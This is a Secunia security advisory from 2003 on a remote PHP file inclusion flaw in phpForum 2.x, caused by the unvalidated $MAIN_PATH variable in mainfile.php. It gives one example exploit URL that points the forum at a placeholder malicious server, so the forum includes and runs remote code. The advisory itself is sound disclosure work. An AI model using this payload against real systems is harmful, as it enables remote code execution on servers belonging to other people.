Secunia Logo
 
phpForum Arbitrary PHP Script Inclusion Vulnerability
Secunia Advisory: SA9258
Release Date: 2003-07-14
Popularity: 5,715 views

Critical:
Highly critical
Impact: System access
Where: From remote
Solution Status: Unpatched

Software:phpForum 2.x

Subscribe: Instant alerts on relevant vulnerabilities


Description:
A vulnerability has been reported in phpForum, which can be exploited by malicious people to compromise a vulnerable system.

The vulnerability is caused due to an input validation error in "mainfile.php" making it possible to supply arbitrary paths to files in the variable "$MAIN_PATH". This can be exploited by supplying a path to a malicious file on a remote server, which can result in execution of arbitrary code on the vulnerable system.

An example, which will include the file "config.php" from a remote server, was included in the original advisory:
http://[victim]/forum/mainfile.php?MAIN_PATH=http://[malicious_server]

The vulnerability has been reported in version 2 RC-1. However, prior versions may also be affected.

Solution:
Edit the source code so that a remote user cannot supply the path to an external server.

Provided and/or discovered by:
Marc Bromm


Track this Secunia Advisory
Customers of the Secunia Vulnerability Intelligence solutions will automatically receive updates when new information regarding this advisory is released.

Read more about our Vulnerability Intelligence solutions and what they can do for you and your company.

About this Secunia Advisory
Please note: The information that this Secunia Advisory is based on comes from a third party unless stated otherwise.

Secunia collects, validates, and verifies all vulnerability reports issued by security research groups, vendors, and others.
  
Latest Advisories

Send Feedback to Secunia
If you have new information regarding this Secunia advisory or a product in our database, please send it to us using either our web form or email us at vuln@secunia.com.

Ideas, suggestions, and other feedback are most welcome.

Most Popular - 3 Hours

1. Sun Java JDK / JRE Multiple Vulnerabilities // 65 views
2. Adobe Acrobat/Reader Multiple Vulnerabilities // 35 views
3. Linksys WRT160N Cross-Site Scripting Vulnerability // 31 views
4. ClamAV "cli_check_jpeg_exploit()" Denial of Service Vulnerability // 29 views
5. Debian update for flamethrower // 28 views
6. IBM Rational ClearQuest Multiple Vulnerabilities // 27 views
7. DAHDI "ZT_SPANCONFIG" IOCTL Privilege Escalation Vulnerability // 26 views
8. Rumpus Multiple Vulnerabilities // 25 views
9. IBM Rational ClearCase Cross-Site Scripting Vulnerability // 25 views
10. Zeroboard Multiple Vulnerabilities // 24 views